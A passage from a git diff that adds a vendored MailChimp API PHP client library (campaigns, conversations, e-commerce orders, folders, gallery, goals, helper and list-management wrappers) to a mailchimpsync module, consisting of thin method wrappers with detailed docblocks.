precendence, otherwise the match+conditions are required. + * - match string controls whether to use AND or OR when applying your options - expects "any" (for OR) or "all" (for AND) + * - conditions array of up to 5 structs for different criteria to apply while segmenting. Each criteria row must contain 3 keys - "field", "op", and "value" - and possibly a fourth, "extra", based on these definitions: + * @return associative_array with a single entry: + * - total int The total number of subscribers matching your segmentation options + */ + public function segmentTest($list_id, $options) { + $_params = array("list_id" => $list_id, "options" => $options); + return $this->master->call('campaigns/segment-test', $_params); + } + + /** + * Send a given campaign immediately. For RSS campaigns, this will "start" them. + * @param string $cid + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function send($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/send', $_params); + } + + /** + * Send a test of this campaign to the provided email addresses + * @param string $cid + * @param array $test_emails + * @param string $send_type + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function sendTest($cid, $test_emails=array(), $send_type='html') { + $_params = array("cid" => $cid, "test_emails" => $test_emails, "send_type" => $send_type); + return $this->master->call('campaigns/send-test', $_params); + } + + /** + * Get the HTML template content sections for a campaign. Note that this will return very jagged, non-standard results based on the template +a campaign is using. You only want to use this if you want to allow editing template sections in your application. + * @param string $cid + * @return associative_array content containing all content section for the campaign - section name are dependent upon the template used and thus can't be documented + */ + public function templateContent($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/template-content', $_params); + } + + /** + * Unschedule a campaign that is scheduled to be sent in the future + * @param string $cid + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function unschedule($cid) { + $_params = array("cid" => $cid); + return $this->master->call('campaigns/unschedule', $_params); + } + + /** + * Update just about any setting besides type for a campaign that has not been sent. See campaigns/create() for details. +Caveats:
          +
        • If you set a new list_id, all segmentation options will be deleted and must be re-added.
        • +
        • If you set template_id, you need to follow that up by setting it's 'content'
        • +
        • If you set segment_opts, you should have tested your options against campaigns/segment-test().
        • +
        • To clear/unset segment_opts, pass an empty string or array as the value. Various wrappers may require one or the other.
        • +
        + * @param string $cid + * @param string $name + * @param array $value + * @return associative_array updated campaign details and any errors + * - data associative_array the update campaign details - will return same data as single campaign from campaigns/list() + * - errors array for "options" only - structs containing: + * - code int the error code + * - message string the full error message + * - name string the parameter name that failed + */ + public function update($cid, $name, $value) { + $_params = array("cid" => $cid, "name" => $name, "value" => $value); + return $this->master->call('campaigns/update', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Conversations.php b/modules/mailchimpsync/libraries/Mailchimp/Conversations.php new file mode 100755 index 0000000..65f82ec --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Conversations.php @@ -0,0 +1,80 @@ +master = $master; + } + + /** + * Retrieve conversation metadata, includes message data for the most recent message in the conversation + * @param string $list_id + * @param string $leid + * @param string $campaign_id + * @param int $start + * @param int $limit + * @return associative_array Conversation data and metadata + * - count int Total number of conversations, irrespective of pagination. + * - data array An array of structs representing individual conversations + * - unique_id string A string identifying this particular conversation + * - message_count int The total number of messages in this conversation + * - campaign_id string The unique identifier of the campaign this conversation is associated with (will be null if the campaign has been deleted) + * - list_id string The unique identifier of the list this conversation is associated with + * - unread_messages int The number of messages in this conversation which have not yet been read. + * - from_label string A label representing the sender of this message. + * - from_email string The email address of the sender of this message. + * - subject string The subject of the message. + * - timestamp string Date the message was either sent or received. + * - last_message associative_array The most recent message in the conversation + * - from_label string A label representing the sender of this message. + * - from_email string The email address of the sender of this message. + * - subject string The subject of the message. + * - message string The plain-text content of the message. + * - read boolean Whether or not this message has been marked as read. + * - timestamp string Date the message was either sent or received. + */ + public function getList($list_id=null, $leid=null, $campaign_id=null, $start=0, $limit=25) { + $_params = array("list_id" => $list_id, "leid" => $leid, "campaign_id" => $campaign_id, "start" => $start, "limit" => $limit); + return $this->master->call('conversations/list', $_params); + } + + /** + * Retrieve conversation messages + * @param string $conversation_id + * @param boolean $mark_as_read + * @param int $start + * @param int $limit + * @return associative_array Message data and metadata + * - count int The number of messages in this conversation, irrespective of paging. + * - data array An array of structs representing each message in a conversation + * - from_label string A label representing the sender of this message. + * - from_email string The email address of the sender of this message. + * - subject string The subject of the message. + * - message string The plain-text content of the message. + * - read boolean Whether or not this message has been marked as read. + * - timestamp string Date the message was either sent or received. + */ + public function messages($conversation_id, $mark_as_read=false, $start=0, $limit=25) { + $_params = array("conversation_id" => $conversation_id, "mark_as_read" => $mark_as_read, "start" => $start, "limit" => $limit); + return $this->master->call('conversations/messages', $_params); + } + + /** + * Reply to a conversation + * @param string $conversation_id + * @param string $message + * @return associative_array Message data from the created message + * - from_label string A label representing the sender of this message. + * - from_email string The email address of the sender of this message. + * - subject string The subject of the message. + * - message string The plain-text content of the message. + * - read boolean Whether or not this message has been marked as read. + * - timestamp string Date the message was either sent or received. + */ + public function reply($conversation_id, $message) { + $_params = array("conversation_id" => $conversation_id, "message" => $message); + return $this->master->call('conversations/reply', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Ecomm.php b/modules/mailchimpsync/libraries/Mailchimp/Ecomm.php new file mode 100755 index 0000000..42fa29e --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Ecomm.php @@ -0,0 +1,86 @@ +master = $master; + } + + /** + * Import Ecommerce Order Information to be used for Segmentation. This will generally be used by ecommerce package plugins +provided by us or by 3rd part system developers. + * @param associative_array $order + * - id string the Order Id + * - campaign_id string optional the Campaign Id to track this order against (see the "mc_cid" query string variable a campaign passes) + * - email_id string optional (kind of) the Email Id of the subscriber we should attach this order to (see the "mc_eid" query string variable a campaign passes) - required if campaign_id is passed, otherwise either this or email is required. If both are provided, email_id takes precedence + * - email string optional (kind of) the Email Address we should attach this order to - either this or email_id is required. If both are provided, email_id takes precedence + * - total double The Order Total (ie, the full amount the customer ends up paying) + * - order_date string optional the date of the order - if this is not provided, we will default the date to now. Should be in the format of 2012-12-30 + * - shipping double optional the total paid for Shipping Fees + * - tax double optional the total tax paid + * - store_id string a unique id for the store sending the order in (32 bytes max) + * - store_name string optional a "nice" name for the store - typically the base web address (ie, "store.mailchimp.com"). We will automatically update this if it changes (based on store_id) + * - items array structs for each individual line item including: + * - line_num int optional the line number of the item on the order. We will generate these if they are not passed + * - product_id int the store's internal Id for the product. Lines that do no contain this will be skipped + * - sku string optional the store's internal SKU for the product. (max 30 bytes) + * - product_name string the product name for the product_id associated with this item. We will auto update these as they change (based on product_id) (max 500 bytes) + * - category_id int (required) the store's internal Id for the (main) category associated with this product. Our testing has found this to be a "best guess" scenario + * - category_name string (required) the category name for the category_id this product is in. Our testing has found this to be a "best guess" scenario. Our plugins walk the category heirarchy up and send "Root - SubCat1 - SubCat4", etc. + * - qty double optional the quantity of the item ordered - defaults to 1 + * - cost double optional the cost of a single item (ie, not the extended cost of the line) - defaults to 0 + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function orderAdd($order) { + $_params = array("order" => $order); + return $this->master->call('ecomm/order-add', $_params); + } + + /** + * Delete Ecommerce Order Information used for segmentation. This will generally be used by ecommerce package plugins +that we provide or by 3rd part system developers. + * @param string $store_id + * @param string $order_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function orderDel($store_id, $order_id) { + $_params = array("store_id" => $store_id, "order_id" => $order_id); + return $this->master->call('ecomm/order-del', $_params); + } + + /** + * Retrieve the Ecommerce Orders for an account + * @param string $cid + * @param int $start + * @param int $limit + * @param string $since + * @return associative_array the total matching orders and the specific orders for the requested page + * - total int the total matching orders + * - data array structs for each order being returned + * - store_id string the store id generated by the plugin used to uniquely identify a store + * - store_name string the store name collected by the plugin - often the domain name + * - order_id string the internal order id the store tracked this order by + * - email string the email address that received this campaign and is associated with this order + * - order_total double the order total + * - tax_total double the total tax for the order (if collected) + * - ship_total double the shipping total for the order (if collected) + * - order_date string the date the order was tracked - from the store if possible, otherwise the GMT time we received it + * - items array structs for each line item on this order.: + * - line_num int the line number + * - product_id int the product id + * - product_name string the product name + * - product_sku string the sku for the product + * - product_category_id int the category id for the product + * - product_category_name string the category name for the product + * - qty int the quantity ordered + * - cost double the cost of the item + */ + public function orders($cid=null, $start=0, $limit=100, $since=null) { + $_params = array("cid" => $cid, "start" => $start, "limit" => $limit, "since" => $since); + return $this->master->call('ecomm/orders', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Exceptions.php b/modules/mailchimpsync/libraries/Mailchimp/Exceptions.php new file mode 100755 index 0000000..8d3d0b5 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Exceptions.php @@ -0,0 +1,471 @@ +master = $master; + } + + /** + * Add a new folder to file campaigns, autoresponders, or templates in + * @param string $name + * @param string $type + * @return associative_array with a single value: + * - folder_id int the folder_id of the newly created folder. + */ + public function add($name, $type) { + $_params = array("name" => $name, "type" => $type); + return $this->master->call('folders/add', $_params); + } + + /** + * Delete a campaign, autoresponder, or template folder. Note that this will simply make whatever was in the folder appear unfiled, no other data is removed + * @param int $fid + * @param string $type + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function del($fid, $type) { + $_params = array("fid" => $fid, "type" => $type); + return $this->master->call('folders/del', $_params); + } + + /** + * List all the folders of a certain type + * @param string $type + * @return array structs for each folder, including: + * - folder_id int Folder Id for the given folder, this can be used in the campaigns/list() function to filter on. + * - name string Name of the given folder + * - date_created string The date/time the folder was created + * - type string The type of the folders being returned, just to make sure you know. + * - cnt int number of items in the folder. + */ + public function getList($type) { + $_params = array("type" => $type); + return $this->master->call('folders/list', $_params); + } + + /** + * Update the name of a folder for campaigns, autoresponders, or templates + * @param int $fid + * @param string $name + * @param string $type + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function update($fid, $name, $type) { + $_params = array("fid" => $fid, "name" => $name, "type" => $type); + return $this->master->call('folders/update', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Gallery.php b/modules/mailchimpsync/libraries/Mailchimp/Gallery.php new file mode 100755 index 0000000..3b1fa6c --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Gallery.php @@ -0,0 +1,106 @@ +master = $master; + } + + /** + * Return a section of the image gallery + * @param associative_array $opts + * - type string optional the gallery type to return - images or files - default to images + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - sort_by string optional field to sort by - one of size, time, name - defaults to time + * - sort_dir string optional field to sort by - one of asc, desc - defaults to desc + * - search_term string optional a term to search for in names + * - folder_id int optional to return files that are in a specific folder. id returned by the list-folders call + * @return associative_array the matching gallery items + * - total int the total matching items + * - data array structs for each item included in the set, including: + * - id int the id of the file + * - name string the file name + * - time string the creation date for the item + * - size int the file size in bytes + * - full string the url to the actual item in the gallery + * - thumb string a url for a thumbnail that can be used to represent the item, generally an image thumbnail or an icon for a file type + */ + public function getList($opts=array()) { + $_params = array("opts" => $opts); + return $this->master->call('gallery/list', $_params); + } + + /** + * Return a list of the folders available to the file gallery + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - search_term string optional a term to search for in names + * @return associative_array the matching gallery folders + * - total int the total matching folders + * - data array structs for each folder included in the set, including: + * - id int the id of the folder + * - name string the file name + * - file_count int the number of files in the folder + */ + public function listFolders($opts=array()) { + $_params = array("opts" => $opts); + return $this->master->call('gallery/list-folders', $_params); + } + + /** + * Adds a folder to the file gallery + * @param string $name + * @return associative_array the new data for the created folder + * - data.id int the id of the new folder + */ + public function addFolder($name) { + $_params = array("name" => $name); + return $this->master->call('gallery/add-folder', $_params); + } + + /** + * Remove a folder + * @param int $folder_id + * @return boolean true/false for success/failure + */ + public function removeFolder($folder_id) { + $_params = array("folder_id" => $folder_id); + return $this->master->call('gallery/remove-folder', $_params); + } + + /** + * Add a file to a folder + * @param int $file_id + * @param int $folder_id + * @return boolean true/false for success/failure + */ + public function addFileToFolder($file_id, $folder_id) { + $_params = array("file_id" => $file_id, "folder_id" => $folder_id); + return $this->master->call('gallery/add-file-to-folder', $_params); + } + + /** + * Remove a file from a folder + * @param int $file_id + * @param int $folder_id + * @return boolean true/false for success/failure + */ + public function removeFileFromFolder($file_id, $folder_id) { + $_params = array("file_id" => $file_id, "folder_id" => $folder_id); + return $this->master->call('gallery/remove-file-from-folder', $_params); + } + + /** + * Remove all files from a folder (Note that the files are not deleted, they are only removed from the folder) + * @param int $folder_id + * @return boolean true/false for success/failure + */ + public function removeAllFilesFromFolder($folder_id) { + $_params = array("folder_id" => $folder_id); + return $this->master->call('gallery/remove-all-files-from-folder', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Goal.php b/modules/mailchimpsync/libraries/Mailchimp/Goal.php new file mode 100755 index 0000000..0bdc562 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Goal.php @@ -0,0 +1,49 @@ +master = $master; + } + + /** + * Retrieve goal event data for a particular list member. Note: only unique events are returned. If a user triggers +a particular event multiple times, you will still only receive one entry for that event. + * @param string $list_id + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param int $start + * @param int $limit + * @return associative_array Event data and metadata + * - data array An array of goal data structs for the specified list member in the following format + * - event string The URL or name of the event that was triggered + * - last_visited_at string A timestamp in the format 'YYYY-MM-DD HH:MM:SS' that represents the last time this event was seen. + * - total int The total number of events that match your criteria. + */ + public function events($list_id, $email, $start=0, $limit=25) { + $_params = array("list_id" => $list_id, "email" => $email, "start" => $start, "limit" => $limit); + return $this->master->call('goal/events', $_params); + } + + /** + * This allows programmatically trigger goal event collection without the use of front-end code. + * @param string $list_id + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param string $campaign_id + * @param string $event + * @return associative_array Event data for the submitted event + * - event string The URL or name of the event that was triggered + * - last_visited_at string A timestamp in the format 'YYYY-MM-DD HH:MM:SS' that represents the last time this event was seen. + */ + public function recordEvent($list_id, $email, $campaign_id, $event) { + $_params = array("list_id" => $list_id, "email" => $email, "campaign_id" => $campaign_id, "event" => $event); + return $this->master->call('goal/record-event', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Helper.php b/modules/mailchimpsync/libraries/Mailchimp/Helper.php new file mode 100755 index 0000000..a4a716d --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Helper.php @@ -0,0 +1,237 @@ +master = $master; + } + + /** + * Retrieve lots of account information including payments made, plan info, some account stats, installed modules, +contact info, and more. No private information like Credit Card numbers is available. + * @param array $exclude + * @return associative_array containing the details for the account tied to this API Key + * - username string The company name associated with the account + * - user_id string The Account user unique id (for building some links) + * - is_trial bool Whether the Account is in Trial mode (can only send campaigns to less than 100 emails) + * - is_approved bool Whether the Account has been approved for purchases + * - has_activated bool Whether the Account has been activated + * - timezone string The timezone for the Account - default is "US/Eastern" + * - plan_type string Plan Type - "monthly", "payasyougo", or "free" + * - plan_low int only for Monthly plans - the lower tier for list size + * - plan_high int only for Monthly plans - the upper tier for list size + * - plan_start_date string only for Monthly plans - the start date for a monthly plan + * - emails_left int only for Free and Pay-as-you-go plans emails credits left for the account + * - pending_monthly bool Whether the account is finishing Pay As You Go credits before switching to a Monthly plan + * - first_payment string date of first payment + * - last_payment string date of most recent payment + * - times_logged_in int total number of times the account has been logged into via the web + * - last_login string date/time of last login via the web + * - affiliate_link string Monkey Rewards link for our Affiliate program + * - industry string the user's selected industry + * - contact associative_array Contact details for the account + * - fname string First Name + * - lname string Last Name + * - email string Email Address + * - company string Company Name + * - address1 string Address Line 1 + * - address2 string Address Line 2 + * - city string City + * - state string State or Province + * - zip string Zip or Postal Code + * - country string Country name + * - url string Website URL + * - phone string Phone number + * - fax string Fax number + * - modules array a struct for each addon module installed in the account + * - id string An internal module id + * - name string The module name + * - added string The date the module was added + * - data associative_array Any extra data associated with this module as key=>value pairs + * - orders array a struct for each order for the account + * - order_id int The order id + * - type string The order type - either "monthly" or "credits" + * - amount double The order amount + * - date string The order date + * - credits_used double The total credits used + * - rewards associative_array Rewards details for the account including credits & inspections earned, number of referrals, referral details, and rewards used + * - referrals_this_month int the total number of referrals this month + * - notify_on string whether or not we notify the user when rewards are earned + * - notify_email string the email address address used for rewards notifications + * - credits associative_array Email credits earned: + * - this_month int credits earned this month + * - total_earned int credits earned all time + * - remaining int credits remaining + * - inspections associative_array Inbox Inspections earned: + * - this_month int credits earned this month + * - total_earned int credits earned all time + * - remaining int credits remaining + * - referrals array a struct for each referral, including: + * - name string the name of the account + * - email string the email address associated with the account + * - signup_date string the signup date for the account + * - type string the source for the referral + * - applied array a struct for each applied rewards, including: + * - value int the number of credits user + * - date string the date applied + * - order_id int the order number credits were applied to + * - order_desc string the order description + * - integrations array a struct for each connected integrations that can be used with campaigns, including: + * - id int an internal id for the integration + * - name string the integration name + * - list_id string either "_any_" when globally accessible or the list id it's valid for use against + * - user_id string if applicable, the user id for the integrated system + * - account string if applicable, the user/account name for the integrated system + * - profiles array For Facebook, users/page that can be posted to. + * - id string the user or page id + * - name string the user or page name + * - is_page bool whether this is a user or a page + */ + public function accountDetails($exclude=array()) { + $_params = array("exclude" => $exclude); + return $this->master->call('helper/account-details', $_params); + } + + /** + * Retrieve minimal data for all Campaigns a member was sent + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param associative_array $options + * - list_id string optional A list_id to limit the campaigns to + * @return array an array of structs containing campaign data for each matching campaign (ordered by send time ascending), including: + * - id string the campaign unique id + * - title string the campaign's title + * - subject string the campaign's subject + * - send_time string the time the campaign was sent + * - type string the campaign type + */ + public function campaignsForEmail($email, $options=null) { + $_params = array("email" => $email, "options" => $options); + return $this->master->call('helper/campaigns-for-email', $_params); + } + + /** + * Return the current Chimp Chatter messages for an account. + * @return array An array of structs containing data for each chatter message + * - message string The chatter message + * - type string The type of the message - one of lists:new-subscriber, lists:unsubscribes, lists:profile-updates, campaigns:facebook-likes, campaigns:facebook-comments, campaigns:forward-to-friend, lists:imports, or campaigns:inbox-inspections + * - url string a url into the web app that the message could link to, if applicable + * - list_id string the list_id a message relates to, if applicable. Deleted lists will return -DELETED- + * - campaign_id string the list_id a message relates to, if applicable. Deleted campaigns will return -DELETED- + * - update_time string The date/time the message was last updated + */ + public function chimpChatter() { + $_params = array(); + return $this->master->call('helper/chimp-chatter', $_params); + } + + /** + * Have HTML content auto-converted to a text-only format. You can send: plain HTML, an existing Campaign Id, or an existing Template Id. Note that this will not save anything to or update any of your lists, campaigns, or templates. +It's also not just Lynx and is very fine tuned for our template layouts - your mileage may vary. + * @param string $type + * @param associative_array $content + * - html string optional a single string value, + * - cid string a valid Campaign Id + * - user_template_id string the id of a user template + * - base_template_id string the id of a built in base/basic template + * - gallery_template_id string the id of a built in gallery template + * - url string a valid & public URL to pull html content from + * @return associative_array the content pass in converted to text. + * - text string the converted html + */ + public function generateText($type, $content) { + $_params = array("type" => $type, "content" => $content); + return $this->master->call('helper/generate-text', $_params); + } + + /** + * Send your HTML content to have the CSS inlined and optionally remove the original styles. + * @param string $html + * @param bool $strip_css + * @return associative_array with a "html" key + * - html string Your HTML content with all CSS inlined, just like if we sent it. + */ + public function inlineCss($html, $strip_css=false) { + $_params = array("html" => $html, "strip_css" => $strip_css); + return $this->master->call('helper/inline-css', $_params); + } + + /** + * Retrieve minimal List data for all lists a member is subscribed to. + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return array An array of structs with info on the list_id the member is subscribed to. + * - id string the list unique id + * - web_id int the id referenced in web interface urls + * - name string the list name + */ + public function listsForEmail($email) { + $_params = array("email" => $email); + return $this->master->call('helper/lists-for-email', $_params); + } + + /** + * "Ping" the MailChimp API - a simple method you can call that will return a constant value as long as everything is good. Note +than unlike most all of our methods, we don't throw an Exception if we are having issues. You will simply receive a different +string back that will explain our view on what is going on. + * @return associative_array a with a "msg" key + * - msg string containing "Everything's Chimpy!" if everything is chimpy, otherwise returns an error message + */ + public function ping() { + $_params = array(); + return $this->master->call('helper/ping', $_params); + } + + /** + * Search all campaigns for the specified query terms + * @param string $query + * @param int $offset + * @param string $snip_start + * @param string $snip_end + * @return associative_array containing the total matches and current results + * - total int total campaigns matching + * - results array matching campaigns and snippets + * - snippet string the matching snippet for the campaign + * - campaign associative_array the matching campaign's details - will return same data as single campaign from campaigns/list() + */ + public function searchCampaigns($query, $offset=0, $snip_start=null, $snip_end=null) { + $_params = array("query" => $query, "offset" => $offset, "snip_start" => $snip_start, "snip_end" => $snip_end); + return $this->master->call('helper/search-campaigns', $_params); + } + + /** + * Search account wide or on a specific list using the specified query terms + * @param string $query + * @param string $id + * @param int $offset + * @return associative_array An array of both exact matches and partial matches over a full search + * - exact_matches associative_array containing the exact email address matches and current results + * - total int total members matching + * - members array each entry will be struct matching the data format for a single member as returned by lists/member-info() + * - full_search associative_array containing the total matches and current results + * - total int total members matching + * - members array each entry will be struct matching the data format for a single member as returned by lists/member-info() + */ + public function searchMembers($query, $id=null, $offset=0) { + $_params = array("query" => $query, "id" => $id, "offset" => $offset); + return $this->master->call('helper/search-members', $_params); + } + + /** + * Retrieve all domain verification records for an account + * @return array structs for each domain verification has been attempted for + * - domain string the verified domain + * - status string the status of the verification - either "verified" or "pending" + * - email string the email address used for verification - "pre-existing" if we automatically backfilled it at some point + */ + public function verifiedDomains() { + $_params = array(); + return $this->master->call('helper/verified-domains', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Lists.php b/modules/mailchimpsync/libraries/Mailchimp/Lists.php new file mode 100755 index 0000000..07f37a6 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Lists.php @@ -0,0 +1,905 @@ +master = $master; + } + + /** + * Get all email addresses that complained about a campaign sent to a list + * @param string $id + * @param int $start + * @param int $limit + * @param string $since + * @return associative_array the total of all reports and the specific reports reports this page + * - total int the total number of matching abuse reports + * - data array structs for the actual data for each reports, including: + * - date string date+time the abuse report was received and processed + * - email string the email address that reported abuse + * - campaign_id string the unique id for the campaign that report was made against + * - type string an internal type generally specifying the originating mail provider - may not be useful outside of filling report views + */ + public function abuseReports($id, $start=0, $limit=500, $since=null) { + $_params = array("id" => $id, "start" => $start, "limit" => $limit, "since" => $since); + return $this->master->call('lists/abuse-reports', $_params); + } + + /** + * Access up to the previous 180 days of daily detailed aggregated activity stats for a given list. Does not include AutoResponder activity. + * @param string $id + * @return array of structs containing daily values, each containing: + */ + public function activity($id) { + $_params = array("id" => $id); + return $this->master->call('lists/activity', $_params); + } + + /** + * Subscribe a batch of email addresses to a list at once. If you are using a serialized version of the API, we strongly suggest that you +only run this method as a POST request, and not a GET request. Maximum batch sizes vary based on the amount of data in each record, +though you should cap them at 5k - 10k records, depending on your experience. These calls are also long, so be sure you increase your timeout values. + * @param string $id + * @param array $batch + * - email associative_array a struct with one of the following keys - failing to provide anything will produce an error relating to the email address. Provide multiples and we'll use the first we see in this same order. + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * - email_type string for the email type option (html or text) + * - merge_vars associative_array data for the various list specific and special merge vars documented in lists/subscribe + * @param boolean $double_optin + * @param boolean $update_existing + * @param boolean $replace_interests + * @return associative_array struct of result counts and associated data + * - add_count int Number of email addresses that were successfully added + * - adds array array of structs for each add + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - update_count int Number of email addresses that were successfully updated + * - updates array array of structs for each update + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - error_count int Number of email addresses that failed during addition/updating + * - errors array array of error structs including: + * - email string whatever was passed in the batch record's email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code int the error code + * - error string the full error message + * - row associative_array the row from the batch that caused the error + */ + public function batchSubscribe($id, $batch, $double_optin=true, $update_existing=false, $replace_interests=true) { + $_params = array("id" => $id, "batch" => $batch, "double_optin" => $double_optin, "update_existing" => $update_existing, "replace_interests" => $replace_interests); + return $this->master->call('lists/batch-subscribe', $_params); + } + + /** + * Unsubscribe a batch of email addresses from a list + * @param string $id + * @param array $batch + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param boolean $delete_member + * @param boolean $send_goodbye + * @param boolean $send_notify + * @return array Array of structs containing results and any errors that occurred + * - success_count int Number of email addresses that were successfully removed + * - error_count int Number of email addresses that failed during addition/updating + * - errors array array of error structs including: + * - email string whatever was passed in the batch record's email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code int the error code + * - error string the full error message + */ + public function batchUnsubscribe($id, $batch, $delete_member=false, $send_goodbye=true, $send_notify=false) { + $_params = array("id" => $id, "batch" => $batch, "delete_member" => $delete_member, "send_goodbye" => $send_goodbye, "send_notify" => $send_notify); + return $this->master->call('lists/batch-unsubscribe', $_params); + } + + /** + * Retrieve the clients that the list's subscribers have been tagged as being used based on user agents seen. Made possible by user-agent-string.info + * @param string $id + * @return associative_array the desktop and mobile user agents in use on the list + * - desktop associative_array desktop user agents and percentages + * - penetration double the percent of desktop clients in use + * - clients array array of structs for each client including: + * - client string the common name for the client + * - icon string a url to an image representing this client + * - percent string percent of list using the client + * - members string total members using the client + * - mobile associative_array mobile user agents and percentages + * - penetration double the percent of mobile clients in use + * - clients array array of structs for each client including: + * - client string the common name for the client + * - icon string a url to an image representing this client + * - percent string percent of list using the client + * - members string total members using the client + */ + public function clients($id) { + $_params = array("id" => $id); + return $this->master->call('lists/clients', $_params); + } + + /** + * Access the Growth History by Month in aggregate or for a given list. + * @param string $id + * @return array array of structs containing months and growth data + * - month string The Year and Month in question using YYYY-MM format + * - existing int number of existing subscribers to start the month + * - imports int number of subscribers imported during the month + * - optins int number of subscribers who opted-in during the month + */ + public function growthHistory($id=null) { + $_params = array("id" => $id); + return $this->master->call('lists/growth-history', $_params); + } + + /** + * Get the list of interest groupings for a given list, including the label, form information, and included groups for each + * @param string $id + * @param bool $counts + * @return array array of structs of the interest groupings for the list + * - id int The id for the Grouping + * - name string Name for the Interest groups + * - form_field string Gives the type of interest group: checkbox,radio,select + * - groups array Array structs of the grouping options (interest groups) including: + * - bit string the bit value - not really anything to be done with this + * - name string the name of the group + * - display_order string the display order of the group, if set + * - subscribers int total number of subscribers who have this group if "counts" is true. otherwise empty + */ + public function interestGroupings($id, $counts=false) { + $_params = array("id" => $id, "counts" => $counts); + return $this->master->call('lists/interest-groupings', $_params); + } + + /** + * Add a single Interest Group - if interest groups for the List are not yet enabled, adding the first +group will automatically turn them on. + * @param string $id + * @param string $group_name + * @param int $grouping_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function interestGroupAdd($id, $group_name, $grouping_id=null) { + $_params = array("id" => $id, "group_name" => $group_name, "grouping_id" => $grouping_id); + return $this->master->call('lists/interest-group-add', $_params); + } + + /** + * Delete a single Interest Group - if the last group for a list is deleted, this will also turn groups for the list off. + * @param string $id + * @param string $group_name + * @param int $grouping_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function interestGroupDel($id, $group_name, $grouping_id=null) { + $_params = array("id" => $id, "group_name" => $group_name, "grouping_id" => $grouping_id); + return $this->master->call('lists/interest-group-del', $_params); + } + + /** + * Change the name of an Interest Group + * @param string $id + * @param string $old_name + * @param string $new_name + * @param int $grouping_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function interestGroupUpdate($id, $old_name, $new_name, $grouping_id=null) { + $_params = array("id" => $id, "old_name" => $old_name, "new_name" => $new_name, "grouping_id" => $grouping_id); + return $this->master->call('lists/interest-group-update', $_params); + } + + /** + * Add a new Interest Grouping - if interest groups for the List are not yet enabled, adding the first +grouping will automatically turn them on. + * @param string $id + * @param string $name + * @param string $type + * @param array $groups + * @return associative_array with a single entry: + * - id int the new grouping id if the request succeeds, otherwise an error will be thrown + */ + public function interestGroupingAdd($id, $name, $type, $groups) { + $_params = array("id" => $id, "name" => $name, "type" => $type, "groups" => $groups); + return $this->master->call('lists/interest-grouping-add', $_params); + } + + /** + * Delete an existing Interest Grouping - this will permanently delete all contained interest groups and will remove those selections from all list members + * @param int $grouping_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function interestGroupingDel($grouping_id) { + $_params = array("grouping_id" => $grouping_id); + return $this->master->call('lists/interest-grouping-del', $_params); + } + + /** + * Update an existing Interest Grouping + * @param int $grouping_id + * @param string 